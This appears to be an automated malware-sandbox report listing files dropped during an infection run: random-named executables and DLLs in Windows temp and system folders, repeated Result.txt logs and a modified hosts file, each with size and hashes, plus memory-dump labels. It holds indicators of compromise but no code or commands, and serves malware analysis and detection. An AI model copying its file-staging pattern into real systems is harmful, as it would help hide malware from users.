8da7603256445b549f4a30ac1773e534745c9b170c44503f0e47a7651c075d29b080cf58e212f06860f50fac8fa6528e6ae2184d6b1a4cd8f731d1ed0ad5950f

Download Submit
C:\Windows\TEMP\lbkubiujb\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\gleeqcecb\jiurhmlkh.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\lbkubiujb\ikrhah.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsj369D.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsj369D.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\gleeqcecb\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
1KB

MD5
ebc0c470e5acfe70a404b674d76cde20

SHA1
754cacbb624b7e8b2d9602cb4f669c3915ed3d7f

SHA256
4ae27eb108a73123c90fe4b63839d3c98c76fe41f0cf2b22d9a2ad95da354383

SHA512
ba92707847a54f69b2214fc2b4c33b6983643cbd83a6998671995f016a9e40182d2f6d79880b28255d1f921fff551b5bce0dfc06635ffa653b2c5efd0a98195d

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
1KB

MD5
fb96c3fc9725665f63e7d29b47d4769d

SHA1
7d86e693e8b3246a2caa97094ed694a2dfb7b65b

SHA256
61201737bd4e5f0d13e248e954bbc28851561ec0524fe1d6a56a05bec719be56

SHA512
b594f1fcd0872033ad420f931e3433a7d83c2fc5126590bebe9f9b4f46ddb3678073dd00b06dbf7aa454313f248fa4f2c791a317b05f9bf0867b5a4606e90097

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
1KB

MD5
7557cad524d3d1d706bed019165bc6da

SHA1
48d03e796dfee7d5e10b245ab5dc10bd86916665

SHA256
5a12822979dc23dd2cfad557e11d101075cba964f76ab0a61889e39e7c04b1c4

SHA512
b186f60a39a60af98db47308ea2e0bea97950ce0daff5987b37136f20a76f892099b1bcf6a2a330fd28dbef5ca55c8267174a1ab428499bbdda3b8c3e958d5a8

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
2KB

MD5
2cfa28614da80e788f6223248ded8a3a

SHA1
d6675c243ea6de2d660de766cfcdadbe58e848f4

SHA256
74bd48bc051c0312f9f00cae3e302c97d75019e7975ea820da28b7293e1197c3

SHA512
881f6691f63d96306c90cdd9f5124651717961ea2c44fcaa873b5b898f3177506494c05c7491ce3f3c5ca5b0f827522494911416411be6835de7b071a8b3f421

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
2KB

MD5
fd1253e476bf219ac8d826d0b8cda8a4

SHA1
89135c5b4c79924d3b32000c780c992c6d41f50a

SHA256
1d6e5287fc94f5a390dd45da8ab683e550f26997867fb65525572488576e11f5

SHA512
7a070e6733cea8884afc98433ce4187aa94683930788163558b70008d884ab13fc5c11ae0388b6966b6c7f1d3b6b02ca088eff407cf79e55986b6bdc10b563fa

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
2KB

MD5
77e9281bffad5127e864a924b1294c8f

SHA1
08783d77c1f33c6a003bac260c851aa4e3cc331d

SHA256
6633a1f256d3db9092c5b29b9f84544d1e5db8cd7f8932e240c0e1577bcfcc9a

SHA512
db11030f324c4b15da2aa7c697478c26279f7248eb8a803dadb12a4cc92328470fd9a7c72513fa85bd7f552dd7b70bb78baff006f679927a087cd1a2ae62f4bc

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
3KB

MD5
349d589e36a36fea4e0cd3f369e96c84

SHA1
f882579cd9de4d1dbb928246c61292e843c10db4

SHA256
9f466f466bfc237e9a7f381c40bde12e644dc5fcac986561025d97a354d90555

SHA512
23e768e6c5bfaaf7469655daaebc71c1720d392aa03c4a534fc114e3eff9739ce9602dcdee570475e40636a9b4c9b5fa9b6261167b75459f5befcfe0e180fec7

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
3KB

MD5
3b9e5e56de80c96e6519e167344b2894

SHA1
8e3b27cfb43b6fa69fc46def7f8e52c2242b3498

SHA256
2b5002bf24105ff971d22dcd94ed570535638e73190e5f2ffd5c71d79a2bd52e

SHA512
50a904bab7a3af10f288ea228defd3d81b65be24e7b3a456222ad65a9f15322c7e077f4beb692087654ac4d29169196c6cef7aba4bdec4c374c25c698b947661

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
3KB

MD5
534fab1cfb60e922325ced9e920a17d6

SHA1
48a60d17cedc51883b3de2a62656a1085d94cc92

SHA256
a6115b17c0f5f3730fbfea8e981ec7a4a1aa71c794a1c7dc88117fd6a973e74b

SHA512
07addeb0f38c6596f66e1a82397d7f560bfa693f78bf6398a6480ecdb27fa04e7081fd1dfa76d47a92758a438fe6e35d4395a5b5f623e6fbe1f3763819a9860b

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
3KB

MD5
07a97cbe7d5bd5daea07b5d3a13ba44f

SHA1
d571402c9d81b23892e2cba7a3d622223a8f2482

SHA256
6cee0e9154300695ce3e0030fdb5f7985fc1c042ea5fe1a5bad98e5453bdeefa

SHA512
31d9fbf4c789cb86a9595ca10914300b31732fa004bddc7485f8450a1104a49cf6272e2e8336cf9c2638941d3f804eb5febee1c53e25fa84517b4c7e9f8e59a2

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\Result.txt

Filesize
4KB

MD5
91936f76ff64c757a6d0522104e9bb34

SHA1
4d45ee8c91e66607ddea06436acf30669c533922

SHA256
e6ab1f530dc602972c35ae8c548717197f1920d48eed094c6c6351b16c4362c2

SHA512
77f015fa9c0b5cb1df12ce3a76a5db1ed1e0e18c05ca94e98f9708233cd740fec4115dacf9ee50e50c248e2fcc3c479b037e2fd4ba929ec039d1e17f786bcf85

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\uutltfljw.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\gleeqcecb\shhwuwcbk\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\mrkytpbw\qimkcel.exe

Filesize
8.5MB

MD5
ac12686e7f60f222058fde937845a92e

SHA1
9066875d5ca6313395b94d0b7acb58f5c33dc091

SHA256
a739415a4ef0af4de779b70e5791b4f2c71195d80ca50ca45e5bb113083ccc52

SHA512
f36df4cef207fbabf44e26b96449baab407417d98c61c9ec70c9bea10e14f6c650c6635fd0e27c2b9951e401d09d2899d0d347c73ae9030479a68fc25a7d8fe9

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
memory/1140-204-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/1204-195-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/1256-199-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/1680-221-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/2096-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/2112-493-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2112-201-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2112-494-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2112-184-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2112-243-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2112-163-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2112-214-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2112-232-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2112-166-0x0000021DE0960000-0x0000021DE0970000-memory.dmp

Filesize
64KB

Download
memory/2112-180-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2112-536-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2112-223-0x00007FF643D20000-0x00007FF643E40000-memory.dmp

Filesize
1.1MB

Download
memory/2348-158-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/2348-141-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/2360-191-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/2500-229-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/2636-208-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/2692-242-0x00000000004A0000-0x00000000004B2000-memory.dmp

Filesize
72KB

Download
memory/2692-182-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/2940-78-0x0000000001050000-0x000000000109C000-memory.dmp

Filesize
304KB

Download
memory/3088-169-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/3380-226-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/3496-187-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/3552-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/3552-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/3632-212-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/4000-231-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/4104-177-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/4648-160-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4648-148-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/4648-217-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp

Filesize
364KB

Download
memory/4960-137-0x00007FF71DF60000-0x00007FF71E04E000-memory.dmp

Filesize
952KB

Download
memory/4960-136-0x00007FF71DF60000-0x00007FF71E04E000-memory.dmp

Filesize
952KB

Download